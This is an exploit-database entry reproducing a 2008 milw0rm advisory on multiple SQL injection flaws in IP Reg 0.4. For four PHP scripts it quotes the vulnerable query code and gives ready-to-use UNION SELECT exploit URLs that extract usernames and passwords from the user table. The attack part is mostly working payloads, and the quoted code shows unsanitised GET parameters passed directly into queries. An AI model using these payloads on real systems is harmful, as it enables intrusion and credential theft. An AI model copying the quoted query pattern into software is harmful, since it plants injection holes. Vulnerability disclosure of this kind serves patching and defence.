IP Reg - exploit.company

vendor:

IP Reg

by:

JosS

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: IP Reg

Affected Version From: 0.4

Affected Version To: 0.4

Patch Exists: YES

Related CWE: N/A

CPE: a:ip_reg:ip_reg:0.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities

IP Reg <= 0.4 is vulnerable to multiple remote SQL injection vulnerabilities. An attacker can exploit these vulnerabilities to gain access to sensitive information such as usernames and passwords. The vulnerabilities exist in the 'locationdel.php', 'vlanview.php', 'vlanedit.php' and 'vlandel.php' scripts. The attacker can exploit these vulnerabilities by sending a specially crafted HTTP request with malicious SQL statements to the vulnerable scripts. This will allow the attacker to gain access to sensitive information such as usernames and passwords.

Mitigation:

The vendor has released a patch to address these vulnerabilities. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

# IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities
# url: http://sourceforge.net/projects/ipreg/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

-------------------------

vuln file: /locationdel.php
vuln code:
27: $location_id = $_GET['location_id'];
xx: ...
42: $result = mysql_query("SELECT location_name FROM location WHERE location_id='$location_id'") or die(mysql_error());

PoC:     /locationdel.php?location_id='[foo]
Exploit: /locationdel.php?location_id='+union+all+select+concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanview.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanview.php?vlan_id='[foo]
Exploit: /vlanview.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanedit.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanedit.php?vlan_id='[foo]
Exploit: /vlanedit.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlandel.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_id, vlan_name, vlan_number FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlandel.php?vlan_id='[foo]
Exploit: /vlandel.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

# milw0rm.com [2008-10-16]